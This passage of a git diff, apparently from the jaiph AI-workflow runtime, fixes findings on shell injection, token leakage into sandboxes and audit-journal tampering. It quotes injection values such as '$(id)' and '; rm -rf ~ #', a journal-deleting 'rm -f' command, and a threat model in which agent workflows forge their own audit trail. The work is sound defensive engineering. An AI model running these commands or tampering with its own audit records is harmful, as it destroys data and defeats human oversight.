++++ src/cli/telemetry/sentry.ts | 8 ++ src/runtime/kernel/emit.test.ts | 131 ++++++++++++++---- src/runtime/kernel/emit.ts | 112 ++++++++++++--- src/runtime/kernel/env-allowlist.ts | 5 + .../node-workflow-runtime.audit-chain.test.ts | 123 ++++++++++++++++ src/runtime/kernel/node-workflow-runtime.ts | 10 +- src/runtime/kernel/runtime-event-emitter.ts | 16 ++- 23 files changed, 591 insertions(+), 84 deletions(-) create mode 100644 src/runtime/kernel/node-workflow-runtime.audit-chain.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 82c71a87..739e1cc0 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,9 +4,12 @@ - **Shell steps no longer splice untrusted values into `sh -c`:** every value interpolated into a workflow shell step is shell-quoted first, so a workflow parameter, capture, `for` iterator, or channel payload that contains shell metacharacters is passed to the shell as data and cannot inject a command, including when the value is bound through `jaiph mcp` or `jaiph serve`. - **The `jaiph serve` operator token no longer crosses into workflow sandboxes:** the environment-forwarding allowlist now excludes the whole host-only `JAIPH_SERVE_*` family, so `JAIPH_SERVE_TOKEN` and the OIDC and server-config keys stay on the host instead of being forwarded into every Docker container and agent subprocess the server runs. +- **The run audit journal is now tamper-resistant and verified when it is read:** each `run_summary.jsonl` line is chained with a keyed HMAC under a per-run secret that never reaches the workflow's own script or agent subprocesses, so a workflow that rewrites, truncates, or deletes its journal can no longer forge a chain that verifies. Run listing, the `GET /v1/runs/{id}/events` snapshot, and OTLP and Sentry export now verify the chain and reject a tampered journal instead of trusting it. ## All changes +- **Security — make the run audit journal tamper-resistant and actually verified (finding H-3):** each `run_summary.jsonl` line carried a `prev_hash` that was an unkeyed SHA-256 over the previous line and a public genesis constant, and no production code path ever called `verifyRunSummaryChain`. The journal lives under the workflow's own `cwd` (exported to script steps as `JAIPH_RUN_SUMMARY_FILE`), so the audited workflow could delete the file, drop incriminating lines, or rewrite it with a fully recomputed chain that was internally valid under the public algorithm, and every reader (`jaiph run`, `serve`, `mcp`, telemetry export, run listing) accepted the result. The chain is now keyed. Each line's `prev_hash` is `chainHmac(key, previousLine)` (`chainHmac(key, CHAIN_GENESIS)` for the first line), where `key` is a fresh per-run 256-bit secret from `generateChainKey` (`src/runtime/kernel/emit.ts`); `RuntimeEventEmitter` reads it from the trusted kernel process env (`src/runtime/kernel/runtime-event-emitter.ts`). The key travels only in the kernel process env under `JAIPH_CHAIN_KEY` (referenced through the `CHAIN_KEY_ENV` constant, never as a literal `env.JAIPH_*`, so it is an internal key that stays out of user-facing docs and the env-vars parity table), and it is scrubbed from every subprocess: `scrubTrustedKeys` (`src/runtime/kernel/node-workflow-runtime.ts`) deletes both the key and the journal path from every `script` scope, and `scrubPromptEnv` (`src/runtime/kernel/env-allowlist.ts`) drops the key at the agent boundary even though the `JAIPH_` prefix otherwise forwards it into the Docker container, where the in-container kernel legitimately needs it. The host (`src/cli/commands/run.ts`, `src/cli/exec/call.ts`) generates the key, forwards it to the runner, and — once the run is terminal — persists it beside the journal as a `0600` `.chain-key` file (`writeChainKey`; the dot prefix keeps it out of the serve run-dir scan). Verification now runs at every read and export boundary through `verifyRunJournal(runDir)`, which loads `.chain-key` and returns `{ verified: false, ok: true }` for an unkeyed/legacy run that cannot be verified (never blocked) or `{ verified: true, ok }` otherwise, hard-failing when `verified && !ok`: run listing marks the run `failed` with `TAMPERED_RESULT_TEXT` (`src/cli/serve/run-store.ts`), `GET /v1/runs/{id}/events` returns `409 E_TAMPERED` on the snapshot path (`src/cli/serve/handler.ts`), and the OTLP and Sentry exporters warn and skip rather than POST a tampered timeline (`src/cli/telemetry/otlp.ts`, `src/cli/telemetry/sentry.ts`). A missing or truncated journal is itself a verification failure, not a silent pass, and a chain recomputed under the public SHA-256 algorithm without the key fails at the first line, because the keyed genesis does not match. Tests: `src/runtime/kernel/emit.test.ts` (keyed round-trip, a recomputed-but-forged unkeyed chain is rejected, `verifyRunJournal` skips when no key file is present), `src/runtime/kernel/node-workflow-runtime.audit-chain.test.ts` (the key and journal path never reach a script subprocess, a script truncating the journal is caught at the read boundary, `scrubPromptEnv` drops the key but keeps other `JAIPH_` control vars), `src/cli/serve/run-store.test.ts` (a keyed run whose journal fails verification loads as `failed`; the same journal loads unchanged when no key was persisted), `src/cli/serve/server.test.ts` (`GET /v1/runs/{id}/events` returns `409` on a tampered journal and streams a clean one), and `src/cli/telemetry/otlp.test.ts` / `src/cli/telemetry/sentry.test.ts` (each exporter hard-fails without POSTing when the chain fails verification). Docs: the rewritten keyed-hash-chain section in [Architecture](docs/architecture.md#hash-chain), the updated verification recipe in [Artifacts](docs/artifacts.md), the `409 E_TAMPERED` note on `GET /v1/runs/{id}/events` and the reload-verification note in [Serve workflows over HTTP](docs/serve.md), the export-skip note in [Export traces to an OTLP collector](docs/observability.md), and the `409 E_TAMPERED` additions in [CLI — `jaiph serve`](docs/cli.md#jaiph-serve). + - **Security — keep host-only `JAIPH_SERVE_*` server keys out of the workflow sandbox (finding H-2):** the environment-forwarding allowlist forwarded every `JAIPH_*` variable into the Docker container and the agent subprocess, carving out only `JAIPH_DOCKER_*`, `JAIPH_INPLACE` / `JAIPH_INPLACE_YES`, and `JAIPH_RUN_WORKFLOW`. `JAIPH_SERVE_TOKEN` — the single-operator bearer secret that authorizes the whole `jaiph serve` HTTP API — starts with `JAIPH_`, so every workflow the server invoked inherited `-e JAIPH_SERVE_TOKEN=` (along with `JAIPH_SERVE_OIDC_*` and the other host-only server keys), even though the in-container runtime never reads them; a malicious or injected workflow could read the token, send it off the machine over the default-on network, and authenticate back to the server as the operator (full invoke / inspect / cancel). The allowlist now excludes the whole `JAIPH_SERVE_*` family: a new `ENV_ALLOW_EXCLUDE_SERVE_PREFIX` joins the existing `JAIPH_DOCKER_*` carve-out in a shared `ENV_ALLOW_EXCLUDE_PREFIXES` list (`src/runtime/kernel/env-allowlist.ts`), so `isEnvAllowed` returns false for `JAIPH_SERVE_TOKEN`, `JAIPH_SERVE_OIDC_*`, and every other `JAIPH_SERVE_*` key on both boundaries — the Docker forwarding loop (`src/runtime/docker.ts`) and the `scrubPromptEnv` prompt-backend scrub — so the token reaches neither a container nor an LLM subprocess. Runtime-consumed `JAIPH_*` control keys that workflows legitimately need, such as `JAIPH_DEBUG` and `JAIPH_WORKSPACE`, still cross the boundary. Tests: `src/runtime/docker.test.ts` (a Docker run with the token set forwards no `-e JAIPH_SERVE_TOKEN` or `JAIPH_SERVE_OIDC_ISSUER`; `isEnvAllowed` rejects the serve keys and keeps the control keys) and `src/runtime/kernel/env-allowlist.test.ts` (`scrubPromptEnv` drops the serve keys and keeps a control key), plus the src-parity harness now checks every exclude prefix appears in the docs. Docs: the updated forwarding-allowlist paragraph and a host-only note on the `JAIPH_SERVE_TOKEN` row in [Environment variables](docs/env-vars.md), the env-exposure exclusion note in [Sandboxing](docs/sandboxing.md), and the host-side-token note in [Serve workflows over HTTP](docs/serve.md). - **Security — shell-quote every value interpolated into a workflow shell step (finding H-1):** a free-form workflow body line runs via `sh -c` after Jaiph substitutes `${var}` references, and it used to substitute the raw value, so a caller-controlled value such as `name = "$(id)"` or `name = "; rm -rf ~ #"` could inject a command. `jaiph mcp` and `jaiph serve` bind request arguments to workflow parameters positionally, so an untrusted caller reached this sink directly. The runtime now passes every interpolated value through `shellQuote` (the single canonical `printf %q`-style escaper in `src/runtime/kernel/prompt.ts`) before it reaches `sh -c`, covering parameters, `const` values, prompt and other captures, `for` loop iterators, channel payloads, and inline `${run …}` / `${ensure …}` capture results. A value like `$(id)` is now echoed literally and never evaluated. Non-shell string positions (`const` / `return` / `send` / `say` / `prompt`) keep the raw value. The compile-time `W_PROMPT_IN_SHELL` diagnostic still fires for prompt captures and steers you to the safer argv path (`run my_script(x)` → `$1`), which passes the value unchanged. diff --git a/QUEUE.md b/QUEUE.md index a78b345c..26cd5316 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,22 +14,6 @@ Process rules: *** -## Make the run audit journal tamper-resistant and actually verified #dev-ready - -Context: ASI-06, HIGH, confidence 0.85. Finding H-3 — the audit journal is written by the audited party behind an unkeyed chain that no production code path verifies. - -Problem: Each `run_summary.jsonl` line carries `prev_hash`, an unkeyed SHA-256 over a public genesis constant maintained only in process memory (`CHAIN_GENESIS` and `sha256hex` in `emit.ts:9-14`; append in `runtime-event-emitter.ts:66-70`, `emit.ts:53-58`). The journal is written into `.jaiph/runs/…` under the workflow's own `cwd`, exported to every script step as `JAIPH_RUN_DIR` (`node-workflow-runtime.ts:302-311`). So the audited subject can write its own audit trail. Because the chain is unkeyed with a public algorithm, a workflow can rewrite the file with a fully recomputed, internally valid chain that omits incriminating lines (e.g. a script step running `rm -f "$JAIPH_RUN_DIR/run_summary.jsonl"`, or a rewrite). And `verifyRunSummaryChain` (`emit.ts:24-44`) is never invoked outside `emit.test.ts` — `jaiph run`, `serve`, `mcp`, telemetry export, and run listing all silently accept a broken/truncated chain. Per-step `.out`/`.err` files are likewise deletable. - -Location: `src/runtime/kernel/runtime-event-emitter.ts:66-70`; `src/runtime/kernel/emit.ts:9-14`, `:24-44`, `:53-58`; `src/runtime/kernel/node-workflow-runtime.ts:302-311`. - -Remediation: Move the journal out of the workflow's write scope (a host/parent-owned append-only sink, or an external collector — the host already tails the `__JAIPH_EVENT__` stream and can persist that copy). Replace the unkeyed chain with an HMAC or signature under a key the workflow process never sees, hold the running head hash in the parent, and actually call `verifyRunSummaryChain` (hard-fail on `ok:false`) at every read/export boundary. - -### Acceptance criteria -- The journal is written to a location (or via a mechanism) the workflow's own script steps cannot write to; a test demonstrates a script step cannot alter or delete the authoritative journal. -- The chain integrity value is keyed (HMAC/signature) under a key not present in the workflow/agent subprocess environment; a test confirms the key is absent from the forwarded env. -- `verifyRunSummaryChain` (or its equivalent) is invoked at each read/export boundary (run listing, `/v1/runs/{id}/events`, OTLP/Sentry export) and hard-fails on `ok:false`; a test feeds a tampered chain and asserts the read/export path rejects it. -- A recomputed-but-forged chain (valid under the public SHA-256 algorithm, without the key) is rejected by verification. - ## Add integrity verification to `jaiph install` and the library registry #dev-ready Context: ASI-09, HIGH, confidence 0.85. Finding H-4 — library installs are trust-on-first-use with no signature, checksum, or pin. @@ -154,6 +138,22 @@ Remediation: Broaden detection well beyond four suffixes (`_ACCESS_KEY`, `_SECRE - The 8-char floor is removed or lowered so short secrets are redacted; a test asserts a short known secret is redacted. - Redaction improvements apply uniformly across journal, OTLP, Sentry, and `/events`; a test asserts a newly-detected secret is redacted on at least the `/events` path. +## Self-host Swagger UI for `jaiph serve` (no CDN) #dev-ready + +Context: Feature — `/docs` already serves a Swagger UI shell, but it loads `swagger-ui-dist` from a pinned CDN with SRI (`src/cli/serve/docs.ts`). Air-gapped and hardened deployments get a blank page; only `/openapi.json` remains usable offline. The serve design doc deferred embedding (~1.5 MB) until air-gapped demand; that demand is now explicit. + +Problem: `GET /docs` requires the browser to fetch JS/CSS from `cdn.jsdelivr.net`. With no egress, or with a CSP that blocks that host, operators cannot invoke or inspect workflows from the built-in UI even though the HTTP API is healthy. + +Location: `src/cli/serve/docs.ts`; `tools/embed-assets.js` (existing embed pipeline); `docs/serve.md` § Swagger UI; `src/cli/serve/docs.test.ts`. + +Remediation: Embed the pinned `swagger-ui-dist` assets (or an equivalent minimal OpenAPI renderer) into the jaiph binary via the existing embed-assets mechanism, serve them from same-origin paths under `/docs`, and keep SRI or integrity checks appropriate for first-party assets. Preserve `JAIPH_SERVE_EXPOSE_DOCS` and the Authorize / `persistAuthorization` behaviour. Document that `/docs` no longer needs browser internet access. + +### Acceptance criteria +- With network egress blocked in the browser (or CDN unreachable), `GET /docs` still renders a working Swagger UI that loads `/openapi.json` and can invoke a workflow (Authorize + try-it-out) when a token is configured. +- No `cdn.jsdelivr.net` (or other third-party host) references remain in the `/docs` HTML or its loaded assets; a test asserts same-origin asset URLs only. +- `JAIPH_SERVE_EXPOSE_DOCS=false` still returns `404` for `/docs` and `/openapi.json`. +- Docs (`docs/serve.md`, CLI help) state that `/docs` is self-contained and does not require browser internet access. + ## Redact credentials in durable `log` / `logwarn` / `logerr` journal lines #dev-ready Context: ASI-06, LOW, confidence 0.75. Finding L-1 — `log()` messages persisted to the journal are not credential-redacted. diff --git a/docs/architecture.md b/docs/architecture.md index a887a219..1aef70d2 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -158,18 +158,16 @@ The runtime persists step captures and the event timeline under a UTC-dated hier Step sequence numbers are monotonic and unique per run: `RuntimeEventEmitter` allocates them in memory (`allocStepSeq`) when opening each step's capture files (`%06d-.out|.err`). There is no `.seq` file in the run directory. -#### Hash chain +#### Keyed hash chain (tamper-evident audit journal) +{: #hash-chain} -Every line written to `run_summary.jsonl` by `RuntimeEventEmitter` carries a `prev_hash` field. The field holds the SHA-256 hash (in hex) of the previous raw JSON line, or `"000…000"` (64 zeroes, `CHAIN_GENESIS`) for the first line. Rewriting or truncating any line invalidates every later hash, so you can detect tampering. +Every line written to `run_summary.jsonl` by `RuntimeEventEmitter` carries a `prev_hash` field. The field holds a **keyed** HMAC-SHA256 (in hex) of the previous raw JSON line — `chainHmac(key, previousLine)` — with `chainHmac(key, CHAIN_GENESIS)` for the first line. The key is a per-run 256-bit secret (`generateChainKey`), so the chain is not reproducible from the public algorithm alone: rewriting a line, or dropping a line and re-linking the survivors, invalidates the chain and cannot be re-forged without the key. -To verify a run's chain: +**Key isolation (finding H-3).** The journal is written by the trusted kernel process, but the audited workflow — its `script` steps and prompt/agent subprocesses — must not be able to forge the chain. The key travels in the kernel process env under `JAIPH_CHAIN_KEY` (`CHAIN_KEY_ENV`) and is scrubbed from **every** subprocess env: `scrubTrustedKeys` (`node-workflow-runtime.ts`) removes it — along with the journal path `JAIPH_RUN_SUMMARY_FILE` — from every script scope, and `scrubPromptEnv` (`env-allowlist.ts`) drops it at the agent boundary even though the `JAIPH_` prefix otherwise forwards run-control keys into the Docker container (the in-container kernel legitimately needs it). The host (`src/cli/commands/run.ts`, `src/cli/exec/call.ts`) generates the key, forwards it to the runner, and — once the run is terminal — persists it beside the journal as `.chain-key` (`writeChainKey`) so read/export boundaries can verify it. -```ts -import { verifyRunSummaryChain } from "src/runtime/kernel/emit"; -const { ok, error } = verifyRunSummaryChain(".jaiph/runs///run_summary.jsonl"); -``` +**Verification at read/export boundaries.** `verifyRunSummaryChain(filePath, key)` walks each line, checks `prev_hash` against the recomputed keyed digest, and returns `{ ok: false, error }` at the first broken link (a missing/unreadable journal is a failure, not a silent pass). `verifyRunJournal(runDir)` wraps it: it loads the persisted `.chain-key` and returns `{ verified: false, ok: true }` when no key exists (an unkeyed/legacy run that cannot be verified — never blocked) or `{ verified: true, ok }` otherwise. Every read/export boundary hard-fails when `verified && !ok`: run listing (`loadPersistedRuns` marks the run `failed` with `TAMPERED_RESULT_TEXT`), `GET /v1/runs/{id}/events` (`409 E_TAMPERED`), and OTLP/Sentry export (skip + warn, never POST a tampered journal). -`verifyRunSummaryChain` reads each line, checks that `prev_hash` matches `sha256hex(previousLine)`, and returns `{ ok: false, error }` at the first broken link. The chain is defined over the full raw JSON string as written (including the `prev_hash` field itself). +**Scope of the guarantee.** A workflow script step cannot read the key or the journal path from its env, and cannot alter the journal in any way that verifies — any rewrite or omitted line is rejected, and any truncation *during* the run is caught because the kernel keeps appending under the pre-truncation head. Because a `.jh` host run and its `script` steps execute under the same OS user, a hash chain cannot defend against a post-run same-user process that both deletes the `.chain-key` (making the run unverifiable) or clean-truncates a completed journal's tail. Under Docker sandboxing the key never enters the container, so an in-sandbox workflow has neither the key nor host access to it. #### Secret redaction diff --git a/docs/artifacts.md b/docs/artifacts.md index 1c6c2cf8..0d4c0865 100644 --- a/docs/artifacts.md +++ b/docs/artifacts.md @@ -84,26 +84,29 @@ Replace `` with `.jaiph/runs` when `JAIPH_RUNS_DIR` is unset, or with ## Verify a run's integrity chain -Every line the runtime appends to `run_summary.jsonl` carries a `prev_hash` field. The field holds the SHA-256 of the previous raw line, or 64 zeroes for the first line. Rewriting or truncating any line breaks the hash of every line after it, so you can detect tampering with a run's audit trail. See [Architecture — Hash chain](architecture.md#hash-chain) for the format. +Every line the runtime appends to `run_summary.jsonl` carries a `prev_hash` field. The field holds a **keyed** HMAC-SHA256 of the previous raw line (keyed genesis for the first line), computed under a per-run secret the audited workflow never sees. Rewriting a line, or dropping a line and re-linking the survivors, breaks the chain and cannot be re-forged without the key, so you can detect tampering with a run's audit trail. The key is persisted beside the journal as `.chain-key` once the run is terminal. See [Architecture — Keyed hash chain](architecture.md#hash-chain) for the full contract, including the key-isolation and read/export-boundary guarantees. -To check a run directory, run this self-contained Node script against its `run_summary.jsonl`. You do not need a jaiph build, because the script recomputes the chain the same way the runtime does: +To check a run directory, run this self-contained Node script. It reads the run's `.chain-key` and recomputes the keyed chain the same way the runtime does — no jaiph build required: ```bash node -e ' - const fs = require("fs"), crypto = require("crypto"); - const lines = fs.readFileSync(process.argv[1], "utf8").split("\n").filter(l => l.trim()); - let expected = "0".repeat(64); + const fs = require("fs"), crypto = require("crypto"), path = require("path"); + const dir = process.argv[1]; + const key = fs.readFileSync(path.join(dir, ".chain-key"), "utf8").trim(); + const hmac = (s) => crypto.createHmac("sha256", key).update(s, "utf8").digest("hex"); + const lines = fs.readFileSync(path.join(dir, "run_summary.jsonl"), "utf8").split("\n").filter(l => l.trim()); + let expected = hmac("0".repeat(64)); for (let i = 0; i < lines.length; i++) { if (JSON.parse(lines[i]).prev_hash !== expected) { console.error(`line ${i + 1}: chain broken`); process.exit(1); } - expected = crypto.createHash("sha256").update(lines[i], "utf8").digest("hex"); + expected = hmac(lines[i]); } console.log(`chain intact (${lines.length} lines)`); -' //-/run_summary.jsonl +' //-/ ``` -A clean chain prints `chain intact (N lines)` and exits `0`. A rewritten or truncated file prints the first broken line number and exits `1`. Inside the repo you can call the exported `verifyRunSummaryChain(filePath)` helper (`src/runtime/kernel/emit.ts`) instead, which returns `{ ok, error }`. +A clean chain prints `chain intact (N lines)` and exits `0`. A rewritten file prints the first broken line number and exits `1`. Inside the repo you can call the exported `verifyRunSummaryChain(filePath, key)` helper (`src/runtime/kernel/emit.ts`) directly, or `verifyRunJournal(runDir)`, which loads `.chain-key` for you and returns `{ verified, ok, error }`. A run with no `.chain-key` (an unkeyed/legacy run) cannot be verified and is never blocked. ## Related diff --git a/docs/cli.md b/docs/cli.md index 2eb59ffe..b7f53bac 100644 --- a/docs/cli.md +++ b/docs/cli.md @@ -391,12 +391,12 @@ The **Cap.** column names the capability an authenticated principal must hold to | `POST /v1/workflows/{name}/runs` | `invoke` | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. Send an `Idempotency-Key` header (scoped to the authenticated principal + workflow) to make retries safe: an identical repeat returns the original run (`200`, no second spawn); a reused key with different arguments is `409 E_IDEMPOTENCY_CONFLICT` and spawns nothing. | | `GET /v1/runs` | `inspect` | Runs started by this process **plus runs reconstructed from disk on restart**, newest first, scoped to the caller's own runs (all runs for a static/open principal). Paginated: `?limit` (default `100`, clamped to `1000`), `?offset` (default `0`). Response is `{runs, total, limit, offset}` and never unbounded. | | `GET /v1/runs/{id}` | `inspect` | The run object. `404` unknown (a run the principal does not own is indistinguishable from nonexistent). | -| `GET /v1/runs/{id}/events` | `inspect` | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot, streamed from disk (never buffered whole); `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | +| `GET /v1/runs/{id}/events` | `inspect` | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot, streamed from disk (never buffered whole); `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. The snapshot mode first verifies the journal's keyed integrity chain and returns `409 E_TAMPERED` when the chain does not verify (see [Architecture — Keyed hash chain](architecture.md#hash-chain)). Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | | `GET /v1/runs/{id}/artifacts` | `inspect` | `{artifacts: [{path, size, mtime}]}` for files published under the run's `artifacts/` (empty when none). `404` unknown. | | `GET /v1/runs/{id}/artifacts/{path}` | `inspect` | Download one published file (`application/octet-stream`), streamed with backpressure — never buffered whole, so an arbitrarily large file costs no server memory and a client disconnect closes the file. Traversal-proof — `..`, absolute paths, and escaping symlinks are `404`. `413 E_ARTIFACT_TOO_LARGE` when the file exceeds `JAIPH_SERVE_MAX_ARTIFACT_BYTES`. | | `POST /v1/runs/{id}/cancel` | `cancel` | `202`; the run reaches `cancelled`. `409` if already terminal. | -The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir, principal, correlation_id}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled` \| `interrupted`. `principal` is the audit subject that created the run (`anonymous`/`operator` in open/static mode, the token `sub` in OIDC mode — never a token) and `correlation_id` is the request id attached at create time; both are `null` when unset. `interrupted` is the terminal state a run is reconciled to after a process death caught it mid-flight — its outcome is unknown, so it is neither `succeeded` nor `failed`, but it is never reported as permanently `running`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED` (missing/invalid static token), `401 E_TOKEN_EXPIRED` / `401 E_TOKEN_INVALID` (OIDC token expired, or bad audience/issuer/key/signature), `403 E_FORBIDDEN` (principal lacks the required capability), `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `409 E_IDEMPOTENCY_CONFLICT` (idempotency key reused with different arguments), `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), `429 E_TOO_MANY_RUNS`, and `503 E_AUTH_UNAVAILABLE` (OIDC identity provider / JWKS unreachable). +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir, principal, correlation_id}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled` \| `interrupted`. `principal` is the audit subject that created the run (`anonymous`/`operator` in open/static mode, the token `sub` in OIDC mode — never a token) and `correlation_id` is the request id attached at create time; both are `null` when unset. `interrupted` is the terminal state a run is reconciled to after a process death caught it mid-flight — its outcome is unknown, so it is neither `succeeded` nor `failed`, but it is never reported as permanently `running`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED` (missing/invalid static token), `401 E_TOKEN_EXPIRED` / `401 E_TOKEN_INVALID` (OIDC token expired, or bad audience/issuer/key/signature), `403 E_FORBIDDEN` (principal lacks the required capability), `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `409 E_IDEMPOTENCY_CONFLICT` (idempotency key reused with different arguments), `409 E_TAMPERED` (the run's journal failed its keyed integrity chain), `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), `429 E_TOO_MANY_RUNS`, and `503 E_AUTH_UNAVAILABLE` (OIDC identity provider / JWKS unreachable). Each run's public record is persisted beside its journal as `run.json` when it finishes, and reconstructed into the registry on startup — so `GET /v1/runs`, `/v1/runs/{id}`, `/events`, and `/artifacts` keep working for pre-restart terminal runs, and idempotency keys survive a restart. `jaiph serve` is a **single-replica** service: the run registry, concurrency cap, and idempotency index are per-process and not shared across replicas — run two behind one load balancer and each has its own view. See [Serve — deployment topology](serve.md#deployment-topology). diff --git a/docs/observability.md b/docs/observability.md index 6b3c71c1..e0612d91 100644 --- a/docs/observability.md +++ b/docs/observability.md @@ -115,6 +115,14 @@ exit code, output, and journal are unchanged. There are no retries and no queue. run takes minutes, so batching the export at the end of the run is the normal OTLP pattern. +Jaiph also skips an export when the run's journal fails its keyed integrity +chain. Each exporter verifies the chain before it reads `run_summary.jsonl`. +When the chain does not verify, because the journal was rewritten, truncated, or +forged, Jaiph writes one warning line and skips the export, so a tampered +timeline is never posted to the collector or to Sentry. A run with no persisted +key cannot be verified and is exported normally. See +[Architecture — Keyed hash chain](architecture.md#hash-chain). + The OTLP-trace exporter and the Sentry exporter run concurrently under one total flush budget, set by `JAIPH_TELEMETRY_FLUSH_MS` with a default of 10 seconds, so the whole post-run flush is bounded by that budget rather than by the sum of two diff --git a/docs/serve.md b/docs/serve.md index f00a1ae8..ff10a4cd 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -69,6 +69,8 @@ curl -sN -H 'accept: text/event-stream' http://127.0.0.1:5247/v1/runs/$ID/events Each SSE message is a `data:` line that carries one raw journal line, such as `WORKFLOW_START`, `STEP_START`, `STEP_END`, `LOG*`, `PROMPT_*`, or `WORKFLOW_END`. A `:ka` comment every 15 seconds keeps proxies from idling the connection out. Connect while the run is still going to watch it step by step, or connect after it finishes for a full replay followed by an immediate `event: end`. Add `-H 'authorization: Bearer '` when a token is set. The `-N` flag on `curl` disables buffering, so events surface as they arrive. +The default snapshot mode verifies the run's keyed integrity chain before it returns the body. When the chain does not verify, because the journal was rewritten, truncated, or forged, the snapshot request fails with `409 E_TAMPERED` and serves no timeline. A run with no persisted key, such as an older run written before the chain was keyed, cannot be verified and is never blocked. See [Architecture — Keyed hash chain](architecture.md#hash-chain) for the format and for how the key stays out of the workflow. + > **Security.** The journal is served verbatim, so the only redaction is the one `jaiph` applies when it writes the journal. Values of `*_API_KEY`, `*_TOKEN`, and `*_SECRET` env vars become `[REDACTED]`. The raw per-step capture files (`NNNNNN-*.out` and `.err`) are never exposed by any endpoint. Only the redacted journal and the files a workflow publishes are reachable over HTTP. ## 5. Download a run's artifacts @@ -159,7 +161,7 @@ Eviction is in-memory only. Dropping a run from the registry does not delete its The run registry is in memory, but `jaiph serve` rebuilds it from disk on startup, so a restart does not lose run data. -- **Durable run records.** When a run finishes, `jaiph serve` writes its public record (`run.json`) atomically beside its journal in the run directory. On startup `jaiph serve` scans `JAIPH_RUNS_DIR` and reloads every `run.json`, so `GET /v1/runs`, `GET /v1/runs/{id}`, `/events`, and `/artifacts` keep answering for terminal runs that finished before the restart. +- **Durable run records.** When a run finishes, `jaiph serve` writes its public record (`run.json`) atomically beside its journal in the run directory. On startup `jaiph serve` scans `JAIPH_RUNS_DIR` and reloads every `run.json`, so `GET /v1/runs`, `GET /v1/runs/{id}`, `/events`, and `/artifacts` keep answering for terminal runs that finished before the restart. As it reloads each run, `jaiph serve` verifies the run's keyed integrity chain. A run whose chain does not verify is loaded with status `failed` and a result that says the journal failed integrity verification, so a rewritten or truncated journal is surfaced as a failure rather than trusted. A run with no persisted key cannot be verified and is loaded unchanged. See [Architecture — Keyed hash chain](architecture.md#hash-chain). - **Interrupted runs are reconciled.** A run that was still `running` when the process died has a journal but no `run.json`. On startup `jaiph serve` reconciles it into the explicit terminal status `interrupted`. Its real outcome is unknown, so it is neither `succeeded` nor `failed`, but it is never reported as permanently `running`. Jaiph persists the reconciliation, so it stays stable across further restarts. - **Idempotent run creation.** Send an `Idempotency-Key` request header on `POST /v1/workflows/{name}/runs`. The key is scoped to the authenticated principal and the workflow. Repeating the request with the same key and identical arguments returns the original run (`200`) and starts nothing. Reusing the key with different arguments is a `409 E_IDEMPOTENCY_CONFLICT` and, again, spawns nothing. A client that retries an expensive run after a network blip or a server restart therefore never doubles it. The key and run mapping is stored in the durable record, so it survives a restart too. An idempotency key is remembered only as long as its run is retained in the registry. Once the retention bounds above evict a run, its key is forgotten, and a fresh request with that key starts a new run. diff --git a/src/cli/commands/run.ts b/src/cli/commands/run.ts index 1d7faafb..64017075 100644 --- a/src/cli/commands/run.ts +++ b/src/cli/commands/run.ts @@ -79,6 +79,7 @@ import { planTrustedEnvs } from "../run/trusted-envs"; import { colorize, formatJaiphRunningBannerLines } from "../run/display"; import { createRunEmitter } from "../run/emitter"; import { exportRunTelemetry } from "../telemetry/otlp"; +import { CHAIN_KEY_ENV, generateChainKey, writeChainKey } from "../../runtime/kernel/emit"; import { createStderrParser, createRunState, @@ -154,6 +155,12 @@ export async function runWorkflow(rest: string[]): Promise { runtimeEnv.JAIPH_SOURCE_ABS = inputAbs; const runId = randomUUID(); runtimeEnv.JAIPH_RUN_ID = runId; + // Per-run audit-chain key: generated host-side, forwarded to the trusted + // runner (and, under Docker, into the container via the JAIPH_ allowlist), + // scrubbed from every script/agent subprocess env, and persisted beside the + // journal after the run so read/export boundaries can verify it (finding H-3). + const chainKey = generateChainKey(); + runtimeEnv[CHAIN_KEY_ENV] = chainKey; try { applySandboxFlags(runtimeEnv, sandboxFlags); } catch (err) { @@ -325,7 +332,7 @@ export async function runWorkflow(rest: string[]): Promise { return await reportResult( runState.capturedStderr, childExit.status, childExit.signal, startedAt, runtimeEnv, emitter, runState.workflowRunId, inputAbs, workspaceRoot, metaFile, - dockerResult?.sandboxRunDir, runId, + dockerResult?.sandboxRunDir, runId, chainKey, ); } finally { if (shouldCleanup) { @@ -356,6 +363,11 @@ async function runWorkflowRaw( try { const runtimeEnv = resolveRuntimeEnv(effectiveConfig, workspaceRoot, inputAbs); runtimeEnv.JAIPH_SOURCE_ABS = inputAbs; + // As the Docker inner entrypoint the host already forwarded a chain key — + // reuse it so the parent's persisted key matches. A standalone `--raw` run + // has none and generates its own. + const chainKey = runtimeEnv[CHAIN_KEY_ENV] ?? generateChainKey(); + runtimeEnv[CHAIN_KEY_ENV] = chainKey; try { applySandboxFlags(runtimeEnv, sandboxFlags); } catch (err) { @@ -384,8 +396,13 @@ async function 